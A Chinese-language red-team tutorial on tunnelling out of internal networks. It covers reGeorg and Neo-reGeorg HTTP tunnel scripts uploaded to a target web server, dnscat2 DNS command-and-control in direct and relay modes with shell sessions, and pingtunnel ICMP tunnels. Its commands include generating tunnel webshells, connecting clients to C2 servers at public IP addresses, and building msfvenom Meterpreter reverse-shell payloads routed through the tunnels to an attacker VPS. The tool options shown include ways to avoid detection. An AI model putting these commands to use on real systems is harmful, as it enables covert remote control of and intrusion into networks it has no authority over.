HTTP代理
reGeorg
https: github.com/NoneNotNull/reGeorg
reGeorg 是 reDuh 的升级版,主要功能是把内网服务器端口的数据通过 HTTP/HTTPS 隧道转发到本机,实现基于 HTTP 协议的通信。
reGeorg 支持 ASPX,ASHX,PHP,JSP 等WEB脚本,并特别提供了一个 tomcat5 版本。
1 2 3 4 5 6 7 8 9 10 11
   | usage: reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v]
  Socks server for reGeorg HTTP(s) tunneller
  optional arguments: 	-h, help 显示此帮助信息并退出 	-l , listen-on 默认监听地址 	-p , listen-port 默认监听端口 	-r , read-buff 本地读取缓冲区,每个POST发送的最大数据 	-u , url 包含隧道脚本的url 	-v , verbose 详细输出(INFO|DEBUG)
   | 
 
1
   | python2 reGeorgSocksProxy.py -p 8080 -u http: 172.26.2.43:7001/bea_wls_internal/tunnel.t5.jsp
   | 
 
reGeorg不常用
Neo-reGeorg
重构 reGeorg 的项目,目的是:
- 提高 tunnel 连接安全性
 
- 提高可用性,避免特征检测
 
- 提高传输内容保密性
 
- 应对更多的网络环境场景
 
https: github.com/L-codes/Neo-reGeorg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | python3 neoreg.py -h
  可选参数: 	-h, - -help 显示此帮助消息并退出 	-u URI, url URI 包含隧道脚本的URL 	-k KEY, key KEY 指定连接密钥 	-l IP, listen-on IP 默认的监听地址。(默认:127.0.0.1) 	-p PORT, listen-port PORT 默认的监听端口。(默认:1080) 	-s, skip 跳过可用性测试 	-H LINE, header LINE 将自定义header LINE传递给服务器 	-c LINE, cookie LINE 自定义初始化Cookie 	-x LINE, proxy LINE proto: host[:port]在给定端口上使用代理 	--local-dns 本地读取缓冲区,每个POST发送的最大数据量(默认值:2048 最大:2600) 	--read-buff Bytes 本地读取缓冲区,每个POST发送的最大数据量(默认值:2048 最大:2600) 	--read-interval MS 读取数据间隔,以毫秒为单位。(默认值:100) 	--max-threads N 代理最大线程数(默认值:1000) 	-v 提高详细程度(使用-vv或更多以获得更好的效果)
   | 
 
- 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
 
1 2 3 4 5 6 7 8 9
   | python3 neoreg.py generate -k passwd
  [+] Mkdir a directory: neoreg_servers [+] Create neoreg server files:  	=> neoreg_servers/tunnel.ashx  	=> neoreg_servers/tunnel.aspx  	=> neoreg_servers/tunnel.jsp  	=> neoreg_servers/tunnel.jspx  	=> neoreg_servers/tunnel.php
   | 
 

- 下载 tunnel 脚本到目标WEB服务
 
1
   | wget http: http://192.168.0.132:8000/tunnel.php
   | 
 
- 使用 neoreg.py 连接WEB服务器,在本地建立 socks 代理,代理默认端口 1080
 
1
   | python3 neoreg.py -k passwd -u http://192.168.0.133/tunnel.php
   | 
 


DNS隧道
Dnscat2
Dnscat2简介
dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT。 A: 域名的IPv4地址。 AAAA: 域名的IPv6地址。 CNAME: 域名的别名。 可以理解为域名的重定向吧,主要方便IP地址的变更。 比如cdn厂商会给客户企业分配固定的cname而不是IP,如果分配IP,cdn厂商做IP调整就受限哪些客户企业的哪些域名绑定了这个IP,需要沟通服务迁移。 还有在企业多个域名(www/mail/ftp或其他业务分类的域名)对应一个入口IP地址时候,也可以给多个域名做cname,便于后期的IP调整。 总之,别名是一种松耦合的处理办法。 MX: smtp邮箱域名的IP地址。给client端指明某个域名的邮件服务器地址。 PTR: 根据IP反向查找域名。 SRV: 服务的IP地址记录,包含ip、port、priority、weight。 TXT: 名的文本记录。可以记录联系方式、服务版本信息、反垃圾邮件等。 NS: dns zone。指定哪个域名服务器可以解析该域名的子域名。 SOA: 授权机构记录,记录ns中哪个是主服务器。
   | 
 
默认是TXT、CNAME、MX随机混合使用
Dnscat2安装
1 2 3 4 5 6
   | apt install ruby ruby-dev git make g++ ruby-bundler gem install bundler
  git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install
   | 
 
解决bundle install特别慢问题:
修改 Gemfile 文件中 source 内容如下:
1
   | source 'https://gems.ruby-china.com'
   | 
 
1 2 3
   | git clone https://github.com/iagox86/dnscat2.git cd dnscat2/client/ make
   | 
 
make编译之后会在此目录下生成一个dnscat可执行二进制文件。
Dnscat2直连模式
直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求。
问题:
1
   | Address already in use - bind(2) for "0.0.0.0" port 53 (Errno::EADDRINUSE)
   | 
 
解决方法:
Linux systemd-resolve占用53端口的解决方法: https://www.itren.org/319.html
1
   | ./dnscat --dns server=139.155.49.43,port=53 --secret=0f69f5a5e89a18b0c47fe12ec6f1896aW
   | 
 
1 2 3 4 5 6
   | 获取shell:
  windows session -i 1 shell session -i 2
   | 
 
Dnscat2中继模式
像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。
- 一台公网C&C服务器
 
- 一台内网靶机
 
- 一个可配置解析的域名
 
- 创建A记录,将自己的域名解析服务器(ns.heetian.cn)指向云服务器(139.155.49.43)
 
- 创建NS记录,将子域名dnsch.hetian.cn的DNS解析交给ns.heetian.cn
 
1
   | ruby ./dnscat2.rb dnsch.heetian.cn --secret=mingy
   | 
 
1
   | ./dnscat --secret=mingy dnsch.heetian.cn
   | 
 
ICMP隧道
ICMP隧道作用
通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道,TCP和UDP等传输层协议不能出网,DNS、HTTP等应用层协议也不能出网,只有ICMP协议可以出网。

目的:上线仅ICMP协议出网的内网主机
Pingtunnel
https://github.com/esrrhs/pingtunnel
参数详解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
   | # ./pingtunnel -h
  通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。
  Usage:  	// server  	pingtunnel -type server    	// client, Forward udp  	pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455  	  	// client, Forward tcp  	pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1  	  	// client, Forward sock5, implicitly open tcp, so no target server is needed  	pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1  	  	-type 服务器或者客户端  	 服务器参数server param:  	-key 设置的密码,默认0  	-nolog 不写日志文件,只打印标准输出,默认0  	-noprint 不打印屏幕输出,默认0  	-loglevel 日志文件等级,默认info  	-maxconn 最大连接数,默认0,不受限制  	-maxprt server最大处理线程数,默认100  	-maxprb server最大处理线程buffer数,默认1000  	-conntt server发起连接到目标地址的超时时间,默认1000ms  	 客户端参数client param:  	-l 本地的地址,发到这个端口的流量将转发到服务器  	-s 服务器的地址,流量将通过隧道转发到这个服务器  	-t 远端服务器转发的目的地址,流量将转发到这个地址  	-timeout 本地记录连接超时的时间,单位是秒,默认60s  	-key 设置的密码,默认0  	-tcp 设置是否转发tcp,默认0  	-tcp_bs tcp的发送接收缓冲区大小,默认1MB  	-tcp_mw tcp的最大窗口,默认20000  	-tcp_rst tcp的超时发送时间,默认400ms  	-tcp_gz 当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0 	-tcp_stat 打印tcp的监控,默认0  	-nolog 不写日志文件,只打印标准输出,默认0 	-noprint 不打印屏幕输出,默认0 	-loglevel 日志文件等级,默认info  	-sock5 开启sock5转发,默认0  	-profile 在指定端口开启性能检测,默认0不开启  	-s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发  	-s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
   | 
 
内网穿透之ICMP隧道
https://xz.aliyun.com/t/7701#toc-8
ICMP隧道转发TCP上线MSF
- VPS启动ICMP隧道服务端
 
110.41.130.64,icmp服务端和msf服务都在此VPS上
1
   | ./pingtunnel -type server
   | 
 
- 靶机启动ICMP隧道客户端
 
1
   | ./pingtunnel -type client -l 127.0.0.1:9999 -s 110.41.130.64 -t 110.41.130.64:7777 -tcp 1 -noprint 1 -nolog 1
   | 
 
ICMP 客户端监听 127.0.0.1:9999,通过连接到 139.155.49.43的ICMP隧道,将127.0.0.1:9999收到的 tcp 数据包转发到 139.155.49.43:7777
- MSF生成反弹shell的payload上传到靶机
 
1
   | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe > 9999.exe
   | 
 
- 执行payload反弹shell到MSF
 
ICMP隧道转发Socks上线MSF
- VPS启动ICMP隧道服务端
 
110.41.130.64 : ICMP服务端和MSF服务都在此VPS上
1
   | ./pingtunnel -type server
   | 
 
- 靶机启动ICMP隧道客户端
 
1
   | ./pingtunnel -type client -l 127.0.0.1:9999 -s 110.41.130.64 -sock5 1 -noprint 1 -nolog 1
   | 
 
ICMP隧道客户端监听127.0.0.1:9999启动socks5服务,通过连接到110.41.130.64的ICMP隧道,由icmpserver转发socks5代理请求到目的地址 110.41.130.64:8899
- MSF生成反弹Shell的payload
 
生成支持Socks5代理的反向payload
1
   | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=110.41.130.64 lport=8899 HttpProxy Type=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > 8899.exe
   |